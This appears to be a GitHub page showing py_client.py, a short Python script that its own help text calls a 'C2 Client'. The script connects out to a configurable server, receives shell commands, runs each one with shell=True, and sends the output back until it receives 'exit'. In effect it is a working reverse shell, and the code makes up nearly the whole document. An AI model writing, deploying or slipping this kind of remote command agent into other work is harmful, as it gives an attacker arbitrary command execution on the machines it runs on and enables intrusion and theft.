-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpy_client.py
32 lines (25 loc) · 1.11 KB
/
py_client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import socket
import argparse
import subprocess
def start_client(server_host, server_port):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((server_host, server_port))
print(f"Connected to server {server_host}:{server_port}")
while True:
command = client.recv(1024).decode()
if command.lower() == 'exit':
break
try:
output = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout, stderr = output.communicate()
result = stdout if stdout else stderr
except Exception as e:
result = str(e).encode()
client.send(result)
client.close()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Start C2 Client')
parser.add_argument('--server-host', default='127.0.0.1', help='Server host (default: 127.0.0.1)')
parser.add_argument('--server-port', type=int, default=12345, help='Server port number (default: 12345)')
args = parser.parse_args()
start_client(args.server_host, args.server_port)